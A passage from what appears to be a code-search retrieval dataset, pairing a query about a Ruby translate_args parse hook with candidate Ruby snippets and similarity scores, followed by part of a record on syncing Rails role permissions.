"0.5970604",
"0.5970604",
"0.5970604",
"0.5970604",
"0.5970604",
"0.59596664",
"0.59521884",
"0.5950086",
"0.5950086",
"0.593352",
"0.5928235",
"0.5928235",
"0.5925812",
"0.59027326",
"0.5876331",
"0.5874161",
"0.587101",
"0.5869069",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5863815",
"0.5856014",
"0.58227175",
"0.5817536",
"0.5809048",
"0.5809048",
"0.5809048",
"0.5804216",
"0.57907444",
"0.5783372",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.57754177",
"0.576279",
"0.5749217",
"0.57355875",
"0.57319367",
"0.5721418",
"0.571297",
"0.571297",
"0.5701246",
"0.5684634",
"0.5683129",
"0.5674079",
"0.5674079"
] |
0.0
|
-1
|
Hook method available after parse in translate_args
|
def after_parse; end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def translate(*args, **opts); end",
"def _lex_trans_targs=(_arg0); end",
"def _lex_trans_targs=(_arg0); end",
"def _lex_trans_targs=(_arg0); end",
"def _lex_trans_targs=(_arg0); end",
"def translate(args)\n Config.instance.translate(args.first)\n end",
"def _lex_trans_targs; end",
"def _lex_trans_targs; end",
"def _lex_trans_targs; end",
"def _lex_trans_targs; end",
"def pt( *args )\n translation = ft[ name ]\n args.empty? ? translation : translation[ *args, self ]\n end",
"def translate(settings); end",
"def _lex_trans_actions=(_arg0); end",
"def _lex_trans_actions=(_arg0); end",
"def _lex_trans_actions=(_arg0); end",
"def _lex_trans_actions=(_arg0); end",
"def lex_en_interp_words=(_arg0); end",
"def lex_en_interp_words=(_arg0); end",
"def lex_en_interp_words=(_arg0); end",
"def parseText _args\n \"parseText _args;\" \n end",
"def translate()\n\nend",
"def translate()\n\nend",
"def translate()\n\nend",
"def translate()\n\nend",
"def translate()\n\nend",
"def translate()\n\nend",
"def translate()\n\nend",
"def translate()\n\nend",
"def translate\n @actions.each do |a|\n self.send(:\"parse_#{a['type'].gsub('-','_')}\", a)\n end\n @output = @output.split(\"\\n\").collect {|l| l.strip}.join(\"\\n\")\n end",
"def method_missing(meth, *args, &blk)\n if meth.to_s =~ /^from_([a-z]+)_to_([a-z]+)$/\n from, to = $1, $2\n return translate(args.first, from, to)\n end\n super\n end",
"def lex_en_unknown=(_arg0); end",
"def translate!( *args )\n super( *args )\n reset_positions_inside\n end",
"def lex_en_interp_string=(_arg0); end",
"def lex_en_interp_string=(_arg0); end",
"def lex_en_interp_string=(_arg0); end",
"def translate!(key, **options); end",
"def translate_value(args)\n code = get_field_val(args)\n translate_lang_code(code)\n end",
"def _lex_trans_keys=(_arg0); end",
"def _lex_trans_keys=(_arg0); end",
"def _lex_trans_keys=(_arg0); end",
"def _lex_trans_keys=(_arg0); end",
"def transformed_argname; end",
"def localize_with_args(args={}, replacement_string = '__i18n_missing__') \n I18n.translate(self, {:default => \"#{replacement_string}(#{self})\"}.merge(args))\n end",
"def translate(key, **options); end",
"def translate(key, **options); end",
"def translations; end",
"def lang=(_arg0); end",
"def lang=(_arg0); end",
"def lang(orig); end",
"def translate(text,dictonary)\nend",
"def transformed_argname=(_); end",
"def _lex_actions=(_arg0); end",
"def process(attributes, *args)\r\n with_given_locale(attributes) { super }\r\n end",
"def translate(item)\n @progress.setMainStatusAndLogIt('Translating')\n text = get_original_text(item)\n return nil if text.empty?\n\n translated = ms_translate(text)\n super(item, translated) unless translated.nil? || translated.empty?\n end",
"def after_parse\n end",
"def init_translations; end",
"def _lex_trans_actions; end",
"def _lex_trans_actions; end",
"def _lex_trans_actions; end",
"def _lex_trans_actions; end",
"def label_translation; end",
"def translate(response)\n end",
"def translate_plugin_names; end",
"def parse_context; end",
"def parse_context; end",
"def lex_en_plain_words=(_arg0); end",
"def lex_en_plain_words=(_arg0); end",
"def lex_en_plain_words=(_arg0); end",
"def manage_args(*args)\n end",
"def convert_args!(args)\n args.clean_options!\n\n args[:ngrams] = Integer(args[:ngrams]) if args[:ngrams]\n args[:block_size] = Integer(args[:block_size]) if args[:block_size]\n args[:num_blocks] = Integer(args[:num_blocks]) if args[:num_blocks]\n args[:num_words] = Integer(args[:num_words]) if args[:num_words]\n args[:last_block] = args[:last_block].to_sym if args[:last_block]\n args[:stop_list] = Documents::StopList.find_by(language: args[:stop_list]) if args[:stop_list]\n args[:stemming] = args[:stemming].to_sym if args[:stemming]\n args[:stemming] = nil if args[:stemming] == :no\n args[:inclusion_list] = args[:inclusion_list].mb_chars.downcase.to_s if args[:inclusion_list]\n args[:exclusion_list] = args[:exclusion_list].mb_chars.downcase.to_s if args[:exclusion_list]\n\n if args[:split_across]\n if args[:split_across] == '1'\n args[:split_across] = true\n else\n args[:split_across] = false\n end\n end\n end",
"def translation_target\n super\n end",
"def translate(locale, key, options = T.unsafe(nil)); end",
"def apply_locale; end",
"def lex_en_plain_string=(_arg0); end",
"def lex_en_plain_string=(_arg0); end",
"def lex_en_plain_string=(_arg0); end",
"def lex_en_interp_words; end",
"def lex_en_interp_words; end",
"def lex_en_interp_words; end",
"def lex_en_expr_cmdarg=(_arg0); end",
"def lex_en_expr_cmdarg=(_arg0); end",
"def lex_en_expr_cmdarg=(_arg0); end",
"def preparse(unparsed, args = [], opts = {})\n case unparsed\n when Hash then opts.merge! unparsed\n when Array then unparsed.each { |e| preparse(e, args, opts) }\n else args << unparsed.to_s\n end\n [args, opts]\n end",
"def parse_parameters; end",
"def linearConversion _args\n \"linearConversion _args;\" \n end",
"def translate(*args)\n # Fall back to the default translate behavior if the :force_default_behavior is true\n force_current_locale = args.last.is_a?(Hash) ? args.pop.delete(:force_default_behavior) : false\n return original_translate(*args) if force_current_locale\n\n translations = []\n\n available_locales.each do |locale|\n args_copy = args.dup\n\n if args_copy.last.is_a?(Hash)\n args_copy.last.merge!(locale: locale)\n else\n args_copy << {locale: locale}\n end\n\n translations << original_translate(*args_copy)\n end\n\n translations.max\n end",
"def prepare_label_for_suggestion(label, index)\n validate_language_rule\n label.gsub(full_name, language_rule.default_transform(self, piped_params)) \n end",
"def lex_en_inside_string=(_arg0); end",
"def lex_en_expr_labelarg=(_arg0); end",
"def lex_en_expr_labelarg=(_arg0); end",
"def lex_en_expr_labelarg=(_arg0); end",
"def t(*args); I18n.t(*args) end",
"def apply_args!(args)\n intro = args.shift\n d = args.shift\n introduced intro if intro\n desc d if d\n args\n end",
"def extra_args; end",
"def translate(input_text, src_lang, target_lang)\n raise \"Not Implemented. Class #{self.class.name} doesn't implement translate\"\n end",
"def isLocalized _args\n \"isLocalized _args;\" \n end",
"def preproc=(_arg0); end",
"def localise(args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n object = args.last.respond_to?(:available_in_locale?) ? args.pop : nil\n options[:locale] ||= (defined?(params) && params[:locale] || I18n.locale)\n if (options[:locale].to_s == \"en\") || (object && !object.available_in_locale?(options[:locale]))\n options.delete(:locale)\n end\n args.push(object) if object\n args.push(options)\n args\n end",
"def method_missing(method, *args)\n\t\tif self.respond_to?(method)\n\t\t\tlocalized_method = \"#{method}_#{I18n.locale}\"\n\t\t\tself.send(localized_method)\n\t\telse\n\t\t\tsuper\n\t\tend\n\tend"
] |
[
"0.7090619",
"0.6694957",
"0.6694957",
"0.6694957",
"0.6694957",
"0.6655081",
"0.6643141",
"0.6643141",
"0.6643141",
"0.6643141",
"0.63690126",
"0.63519883",
"0.6217786",
"0.6217786",
"0.6217786",
"0.6217786",
"0.6203082",
"0.6203082",
"0.6203082",
"0.617942",
"0.61665577",
"0.61665577",
"0.61665577",
"0.61665577",
"0.61665577",
"0.61665577",
"0.61665577",
"0.61665577",
"0.61283517",
"0.6097561",
"0.6072765",
"0.60538954",
"0.6035444",
"0.6035444",
"0.6035444",
"0.6025393",
"0.6009685",
"0.597285",
"0.597285",
"0.597285",
"0.597285",
"0.5936269",
"0.5907805",
"0.59067345",
"0.59067345",
"0.5886434",
"0.5862761",
"0.5862761",
"0.5818163",
"0.581252",
"0.57783514",
"0.57574266",
"0.57218766",
"0.5720998",
"0.5616919",
"0.5609914",
"0.56050265",
"0.56050265",
"0.56050265",
"0.56050265",
"0.55964386",
"0.5584274",
"0.55408",
"0.55335104",
"0.55335104",
"0.55296016",
"0.55296016",
"0.55296016",
"0.5490872",
"0.5468455",
"0.54617125",
"0.54423344",
"0.5438756",
"0.54303086",
"0.54303086",
"0.54303086",
"0.5426267",
"0.5426267",
"0.5426267",
"0.54145765",
"0.54145765",
"0.54145765",
"0.54116684",
"0.54080707",
"0.54060364",
"0.5400692",
"0.53968704",
"0.53963447",
"0.5389913",
"0.5389913",
"0.5389913",
"0.53875345",
"0.5376559",
"0.5370198",
"0.5353902",
"0.5326375",
"0.5313021",
"0.53065026",
"0.530315"
] |
0.5716089
|
54
|
def sync_roles if abstract? sync ALL concrete roles abstract_role_permissions = Permission.where(role_id: id) Role.all.each do |role| sync_one(abstract_role_permissions, role) end else sync only current concrete roles abstract_role_permissions = Permission.where(role_id: Role.abstract.id) sync_one(abstract_role_permissions, self) end end
|
def duplicate
n = "#{self.name} copy"
while !(r = Role.find_by(name: n)).nil?
n = SecureRandom.hex.first(6)
end
c = n.parameterize.underscore
r = Role.create(name: n, code: c, description: "-- Copy of #{self.description}")
Permission.all.each do |perm|
bool = PermissionRole.find_by(role: self, permission: perm)&.permitted || false
PermissionRole.create(role: r, permission: perm, permitted: bool)
end
r
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def all_permissions\n return permissions unless role\n (permissions + role.permissions).uniq\n end",
"def sync_cluster_role\n save_cluster_general_data\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [Role.find_by_name(\"User\").id] \n end\n end",
"def handle_admin_role_ids(role)\n current_members = send(role.to_s.pluralize)\n new_members = Person.find(send(\"#{role}_ids\"))\n\n to_add = new_members - current_members\n to_remove = current_members - new_members\n to_add.each do |person|\n person.send(\"is_#{role}=\", [true, self])\n disable_authorization_checks { person.save! }\n end\n to_remove.each do |person|\n person.send(\"is_#{role}=\", [false, self])\n disable_authorization_checks { person.save! }\n end\n end",
"def handle_admin_role_ids(role)\n current_members = send(role.to_s.pluralize)\n new_members = Person.find(send(\"#{role}_ids\"))\n\n to_add = new_members - current_members\n to_remove = current_members - new_members\n to_add.each do |person|\n person.send(\"is_#{role}=\", [true, self])\n disable_authorization_checks { person.save! }\n end\n to_remove.each do |person|\n person.send(\"is_#{role}=\", [false, self])\n disable_authorization_checks { person.save! }\n end\n end",
"def sync_all_data\n return if self.disabled?\n self.sync_availability\n self.sync_rate\n self.sync_stop_sell\n self.sync_min_stay\n\n if self.channel == GtaTravelChannel.first\n self.sync_gta_travel_cta\n self.sync_gta_travel_ctb\n else\n self.sync_cta if Constant::SUPPORT_CTA.include?(self.channel)\n self.sync_ctd if Constant::SUPPORT_CTD.include?(self.channel)\n end\n end",
"def after_role_update(role, method = nil)\n resource = role.resource\n # Reindex record if it is a searchkick model\n resource.reindex if resource && Searchkick.callbacks? && resource.searchable?\n return unless common_resource?\n\n if method == :add\n resource.cache_attribute!(:common_viewable, true)\n elsif method == :remove\n resource.cache_attribute!(:common_viewable, false)\n end\n end",
"def mod_all\n role = Role.find(params[:id])\n user = User.find(params[:role][:user_id])\n user.roles << role\n\n flash[:notice] = \"La modificacion ha sido realizada correctamente.\"\n\n redirect_to :back\n end",
"def permissions( force_reload = false )\n\n # Two levels of joins here, so can't use has_many :through\n if force_reload\n @permissions = nil \n @permissions_by_class_and_op = {}\n end\n\n cond_str = 'role_id in ' + self.class.role_assigned_cond( '?' )\n if !instance_variable_defined?(\"@permissions\") || @permissions.nil?\n @permissions ||= Permission.where([cond_str, self]).to_a\n end\n\n return @permissions\n end",
"def update\n load_permissions\n ids = params[:permissions].select {|k, v| v == \"1\"}.map {|k,v| k.to_i }\n if ids.length > 0\n permissions = Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n @role = Role.find(params[:id])\n params[:role][:permissions] = permissions\n if @role.update_attributes(params[:role])\n flash[:notice] = \"修改角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = '修改角色失败'\n redirect_to :action => 'edit', :id => @role.id\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'edit', :id => @role.id\n end\n end",
"def all_roles\n _role_ids_ = (account_groups.map(&:role_ids) + role_ids).flatten.uniq\n Role.where(id: _role_ids_)\n end",
"def sync_mirrors\n # create a Default Snippet Group\n self.groups.create({ label: 'Default', grouped_type: 'Cms::Snippet' })\n\n return unless is_mirrored_changed? && is_mirrored?\n\n [self, Cms::Site.mirrored.where(\"id != #{id}\").first].compact.each do |site|\n (site.layouts(:reload).roots + site.layouts.roots.map(&:descendants)).flatten.map(&:sync_mirror)\n (site.pages(:reload).roots + site.pages.roots.map(&:descendants)).flatten.map(&:sync_mirror)\n site.groups(:reload).snippets.map(&:sync_mirror)\n site.snippets(:reload).map(&:sync_mirror)\n end\n\n # set all pages as navigation_root that don't have navigation_root and parent_root set\n # this enables the navigations on new mirrored sites\n self.pages.where(parent_id: nil, navigation_root_id: nil).each do |page|\n page.update_attribute(:navigation_root_id, page.id)\n end\n end",
"def assign_permission\n company_admin,*company_admin_all = Role.company_admin.reorder(\"id ASC\")\n functions = company_admin.try(:function_ids) \n if company_admin_all.any?\n company_admin_all.each do |c_admin|\n c_admin.function_ids = functions\n end\n end\n end",
"def sync *attributes\n self.class.define_method(:sync_attributes) do\n ActiveSync::Sync.sync_attributes(self, attributes)\n end\n define_method(:sync_record) do\n ActiveSync::Sync.sync_record(self, attributes)\n end\n define_method(:sync_associations) do\n ActiveSync::Sync.sync_associations(self, attributes)\n end\n end",
"def roles(force_reload = false)\n unless force_reload\n return @role_list unless @role_list.nil? \n end\n return nil unless self.id\n \n @role_list = GroupRoleList.new({:group_id => self.id})\n return @role_list\n end",
"def save_permissions(role_ids)\n permissions.map{|perm| perm.delete } unless permissions.nil?\n unless role_ids.nil?\n role_ids.each do |permission| \n p = Permission.new(JSON.parse(permission))\n (p.class.reflect_on_all_associations(:has_many) & p.class.reflect_on_all_associations(:has_and_belongs_to_many)).each { |association|\n permissions << Permission.new(\n :role_id => id,\n :controller => association.class_name.singularize,\n :ability => p.ability\n )\n }\n permissions << p\n end\n end\n end",
"def synchronize\n\n # individual settings are done e.g. in customers_controller.rb#deprovision\n @partentTargets = nil if @partentTargets.nil? \n\n @async_all = true if @async && @async_all.nil?\n @async_individual = true if @async && @async_individual.nil?\n\n @recursive_all = false if @recursive_all.nil?\n @recursive_individual = true if @recursive_individual.nil?\n\n if @async_all\n being_all = \"being \"\n else\n being_all = \"\"\n end\n\n if @async_individual\n being_individual = \"being \"\n else\n being_individual = \"\"\n end\n \n #raise ENV[\"WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT\"].inspect\n #raise (!@async_all).inspect\n if ENV[\"WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT\"] == \"true\" || @async_all\n # in case of asynchronous synchronization, we always allow to abort on abort, since this will trigger delayed_job to retry\n # in case of synchronous synchronization, we allow to abort on abort only, if WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT is set to \"true\"\n @abortOnAbort = true\n else\n # in case of synchronous synchronization and WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT is not set to \"true\", we proceed even after an abort (e.g. if a target is unreachable, other targets will still be synchronized)\n @abortOnAbort = false\n end\n #raise @abortOnAbort.inspect\n\n # note: @id needs to be set in the individual child classes (e.g. Customer/Site/User)\n if @id.nil?\n #\n # PATCH /customers/synchronize\n #\n # if @id is nil, we assume that all Customers/Sites/Users needs to be synchronized:\n\n @myClass.synchronizeAll(@partentTargets, @async_all, @recursive_all, @abortOnAbort)\n redirect_to :back, notice: \"All #{@myClass.name.pluralize} are #{being_all}synchronized.\"\n else\n #\n # PATCH /customers/1/synchronize\n #\n # if @id is not nil, an individual Customer/Site/User with id==@id is synchronized:\n \n @provisioningobject = @myClass.find(@id)\n @provisioningobject.synchronize(@async_individual, @recursive_individual)\n redirect_to :back, notice: \"#{@provisioningobject.class.name} #{@provisioningobject.name} is #{being_individual}synchronized.\"\n end\n end",
"def setup_role\n if self.role_ids.empty?\n self.role_ids = self.roles.find_by_name(:registered).id\n end\n end",
"def update_group_permissions \n if group_id.present?\n permissions = self.permissions\n # checking if user has permissions or not\n if permissions.present? && self.changed.include?('group_id')\n group_permissions = self.group.permissions\n if group_permissions.present? \n group_permissions.each do |p|\n if p.no_model_permission? \n permission = self.permissions.where(\"no_model_permission = ? AND subject_class = ? AND action = ?\",p.no_model_permission,p.subject_class,p.action).first_or_initialize \n else\n permission = self.permissions.where(\"no_model_permission = ? AND subject_class IS NULL AND action = ?\",p.no_model_permission,p.action).first_or_initialize \n end \n permission.actions_list = (permission.actions_list + p.actions_list).uniq \n permission.status = p.status\n permission.save\n end \n end\n else\n group_permissions = self.group.permissions\n if group_permissions.present?\n columns = (Permission.column_names) - [\"id\",\"resource_id\",\"resource_type\",'created_at','updated_at']\n # Creating all group permissions to user\n self.permissions.create( self.group.permissions.all(:select => columns.join(\",\") ).map(&:attributes) )\n end\n end\n end\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [2] \n end\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [2] \n end\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [2] \n end\n end",
"def setup_role\n \tif self.role_ids.empty?\n \t self.role_ids = [3]\n \tend\n end",
"def update\n \n if request.get?\n @role = Role.find(params[:id].to_i)\n else\n @role = Role.find(params[:id].to_i)\n\n # set parent role\n if not params[:role][:parent].to_s.empty?\n @role.parent = Role.find(params[:role][:parent])\n else\n @role.parent = nil\n end\n\n # get an array of static permissions and set the permission associations\n params[:role][:static_permissions] = [] if params[:role][:static_permissions].nil?\n permissions = params[:role][:static_permissions].collect { |i| StaticPermission.find(i) }\n @role.static_permissions = permissions\n\n if @role.update_attributes(params[:role])\n flash[:success] = 'Role has been updated successfully.'\n redirect_to :action => 'show', :id => @role\n else\n render :action => 'update'\n end\n end\n \n rescue RecursionInTree\n @role.errors.add :parent, \"must not be a descendant of itself\"\n render :action => 'update'\n rescue ActiveRecord::RecordNotFound\n flash[:error] = 'You sent an invalid request.'\n redirect_to :action => 'list'\n end",
"def manage_roles\n @user = User.first\n @organization = Organization.first\n end",
"def roles\n\t\t\t\tProxy.new connection, 'role-strategy/strategy'\n\t\t\tend",
"def load_permissions \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]} \n end",
"def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def collection_roles\n # Can create, read, edit/update, destroy, and change visibility (discovery) of all Collections\n models = [Hyrax::PcdmCollection, Hyrax.config.collection_class].uniq\n if collection_manager?\n models.each do |collection_model|\n # Permit all actions (same collection permissions as admin users)\n can :manage, collection_model\n can :manage, ::SolrDocument, &:collection?\n can :manage, ::String do |id|\n doc = permissions_doc(id)\n doc.collection?\n end\n can :create_collection_type, CollectionType\n end\n # Can create, read, and edit/update all Collections\n elsif collection_editor?\n models.each { |collection_model| can %i[edit update create create_any], collection_model }\n can %i[edit update], ::SolrDocument, &:collection?\n can %i[edit update], ::String do |id|\n doc = permissions_doc(id)\n doc.collection?\n end\n models.each { |collection_model| can %i[read read_any view_admin_show view_admin_show_any], collection_model }\n can %i[read read_any view_admin_show view_admin_show_any], ::SolrDocument, &:collection?\n can %i[read read_any view_admin_show view_admin_show_any], ::String do |id|\n doc = permissions_doc(id)\n doc.collection?\n end\n can :create_collection_type, CollectionType\n\n # Can read all Collections\n elsif collection_reader?\n models.each { |collection_model| can %i[read read_any view_admin_show view_admin_show_any], collection_model }\n can %i[read read_any view_admin_show view_admin_show_any], ::SolrDocument, &:collection?\n can %i[read read_any view_admin_show view_admin_show_any], ::String do |id|\n doc = permissions_doc(id)\n doc.collection?\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n \n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: t(:role_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n @role.permissions = params[:role][:permission].map do |key, value|\n index = value[\"index\"] == \"1\" ? true : false\n index = true if value[\"new\"] == \"1\" || value[\"edit\"] == \"1\" || value[\"remove\"] == \"1\"\n Permission.update(value[\"id\"], :index => index, :new => value[\"new\"], :edit => value[\"edit\"], :remove => value[\"remove\"], :import => value[\"import\"])\n end\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_roles(wanted_roles)\n current_roles = roles.map(&:name)\n\n remove = current_roles.reject { |r| wanted_roles.include?(r) }\n add = wanted_roles.reject { |r| current_roles.include?(r) }\n\n Ruolo.configuration.connection.transaction do\n remove.each do |role|\n remove_role(Ruolo::Models::Role.where(name: role).first)\n end\n\n add.each do |role|\n add_role(Ruolo::Models::Role.where(name: role).first)\n end\n end\n end",
"def run_sync opts\n reporter.output_format = (opts[:format] || :json).to_sym\n Roles.new(conjur, opts).sync_to adapter(opts).load_model\n rescue => e\n case e \n when RestClient::Exception\n log.error \"LDAP sync failed: #{e}\\n\\t#{e.response}\"\n else\n log.error \"LDAP sync failed: #{e}\"\n log.error \"backtrace:\\n#{$@.join \"\\n\\t\"}\"\n raise e\n end\n end",
"def set_possible_roles\n\tif User.has_role Role.ADMINISTRATOR,session[:roles]\n\t @roles=Role.all\n\t return\n\tend\n\n\t@logged_in_user_role_id = UserRoleMap.getRoleidByUserid(session[:session_user])\n\t#@roles = Role.where(:id => RoleReportTo.select(\"user_role_id\").where(:manager_role_id => @logged_in_user_role_id))\n\t@roles = Role.getRolesByRoleid(RoleReportTo.getUserRoleidByManagerRoleid(@logged_in_user_role_id))\n\thas_volunteer=false\n\t@roles.each do |role|\n\t if role.role == Role.VOLUNTEER\n\t\thas_volunteer=true\n\t\tbreak\n\t end\n\tend\n\tunless has_volunteer\n\t @volunteer_role=Role.where(role:Role.VOLUNTEER)\n\t @volunteer_role.each do |role|\n\t\t@roles.push role\n\t end\n\tend\n end",
"def sync_datas_process\n SyncDatas.sync(self)\n # user = self\n end",
"def update\n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def inherit_roles_from_parent!(parent = self.parent)\n return false unless requires_roles?\n return false unless parent.present?\n\n roles.destroy_all\n if parent.is_a? Collection::SubmissionsCollection\n role_parent = parent.submission_box\n else\n role_parent = parent\n end\n role_parent.roles.each do |role|\n new_role = role.duplicate!(assign_resource: self, dont_save: true)\n # special case: CONTENT_EDITOR is a special role (for now).\n # when creating child content, CONTENT_EDITORS become EDITORS\n new_role.name = Role::EDITOR if new_role.name.to_sym == Role::CONTENT_EDITOR\n new_role.save\n end\n reload\n end",
"def setup_role\n if self.role_ids.empty?\n self.role_ids = [2]\n end\n end",
"def propagate_acl()\n\n #Propagate to subfolders\n self.children.each do |subfolder|\n if subfolder.acl.inherits\n acl = self.acl.deep_clone()\n acl.inherits = true\n acl.save\n\n subfolder.acl = acl\n subfolder.save\n\n subfolder.propagate_acl()\n end\n end\n\n #Propagate to documents\n self.references.each do |reference|\n if reference.acl.inherits\n acl = self.acl.deep_clone()\n acl.inherits = true\n acl.save\n reference.acl = acl\n reference.save\n end\n end\n\n\n end",
"def set_owner_and_roles\n if Member.where(company_id: self.company_id).count == 1\n self.add_role :director\n self.add_role :manager\n self.add_role :tradesman\n self.company.update(owner_id:self.id)\n end\n end",
"def index\n #you dont want to set the permissions for Super Admin.\n @roles = Role.all.keep_if{|i| i.name != \"Super Admin\"}\n end",
"def permissions\n if @permissions.nil?\n perm_array = []\n roles.each { |r| perm_array << r.permission_ids }\n @permissions = perm_array.flatten.uniq\n else\n @permissions\n end\n end",
"def role_ids=(ids)\n ids.each do |role_id|\n if role_id.presence\n role = ::Burlesque::Role.find(role_id)\n self.roles << role unless self.role?(role)\n end\n end\n\n to_deletes = []\n self.roles.each do |role|\n to_deletes << role unless ids.include?(role.id) or ids.include?(role.id.to_s) or self.role_in_groups?(role)\n end\n\n to_deletes.each do |role|\n self.roles.delete(role) if self.roles.include?(role)\n end\n end",
"def display_all_roles\n # Interface method\n end",
"def update_roles(roles)\n self.roles |= roles\n self.save!\n end",
"def all_permissions\n permissions = Array.new\n \n all_roles.each do |role|\n permissions.concat(role.permissions)\n end\n \n return permissions\n end",
"def update_role\n organisation_change_notice = nil\n @role = Role.find(params[:id])\n \n\tprev_organisation = @role.organisation\n \n\t# if the editing user does have permission to publish CRM, set the role status to 'Pending'\n\t@role.status_id = Status::PENDING.status_id if !PrivilegesHelper.has_permission?(@login, 'CAN_PUBLISH_CRM')\n\t\n\tis_contributor = @role.is_contributor\n\tis_contributor = params[:role][:is_contributor] if (@role.contributor.blank? && !params[:role][:is_contributor].blank?) || (! @role.contributor.blank? && @role.contributor_info_empty?)\n\t\n\t@role.send('is_contributor=', is_contributor)\n\tparams[:role][:is_contributor] = is_contributor\n\t\n\tif !params[:role][:role_type_id].blank? && @role.is_a_contributor? && !RoleType.contributor_role_types.include?(RoleType.find(params[:role][:role_type_id]))\n \n\t flash[:error] = \"An error has occured. You cannot change the role type to a non-contributor type if 'Contributor' field is checked.\"\n\t \n\t redirect_to :action => 'edit', :id => @role\n\t\n\telse\n\t\t\t\n\t if @role.update_attributes(params[:role])\n\n\t if ! @role.person_id.blank? && !params[:role][:organisation_id].blank?\n\t\t # create default_contactinfos\n\t\t # for every person's contactinfo and appropriate\n\t\t # organisation contactinfo\n\t\t @role.default_contactinfos_update\n\t end \n\t \t \n organisation_change_notice=\"\"\n # role has been assigned an organisation\n if ! @role.person_id.blank? && !params[:role][:organisation_id].blank?\n\t \n\t # destroy marketing categorisation of the person from the db\n\t # as person gets marketing categorisation of the organisation\n\t @role.role_categorizations.each do |rc|\n\t \t rc.destroy\n\t end\n\t \n organisation_change_notice = \"<br/> The organisation has been changed. Please check and update the contact information and make sure that it is consistent.\"\n end\n \n # delete default_contactinfo if organisation was previously\n # assigned to a role together with person but has been deleted\n if @role.organisation_id.blank? && !@role.person_id.blank? && !prev_organisation.blank?\n # do we need to default it to 'Person' or 'preferred' contact infos????\n \t # if yes, just call @role.default_contactinfos_update instead of the line below\n\t\t @role.delete_default_contactinfos(prev_organisation.organisation_id)\n end\n \n # update all role role_contactinfos for\n # solr indexing\n RoleContactinfo.index_objects(@role.role_contactinfos)\n \n # update all communications for\n # solr indexing\n Communication.index_objects(@role.communications)\n \n # update appropriate person if any\n # for solr idexing\n if ! @role.person.blank?\n @role.person.save\n end\n\n # destroy contributor record if 'is_contributor' of the role set to false\n @role.contributor.destroy_self if ! @role.contributor.blank? && ! @role.is_a_contributor?\n\n flash[:notice] = 'Role was successfully updated.' + organisation_change_notice\n redirect_to :action => 'edit', :id => @role\n else\n @person = @role.person\n @organisation = @role.organisation unless @role.organisation.blank?\n render :action => 'edit', :id => @role\n end\n \n\tend\n \n end",
"def set_user_role(role)\n role_id = Role.where(role_type: role).first.id\n self.update_attributes(role_id: role_id) \n end",
"def updater(user)\n # self.updated_by_id = user.id\n\n ur = self.users_roles\n ur.each do |u|\n if u.created_at == nil then\n u.created_at = DateTime.now\n u.created_by_id = self.id\n end\n\n end\n self.save\n end",
"def grant(*roles)\n self << roles\n reload\n end",
"def each_role(&block)\n unless block_given?\n return enum_for(:each_role, &block)\n end\n\n each_parent_object(Dependency) do |parent|\n yield(parent, parent.roles_of(self))\n end\n end",
"def grantable_roles\n roles = Role.available_roles\n has_cached_role?(:superuser) ? roles : roles - ['superuser']\n end",
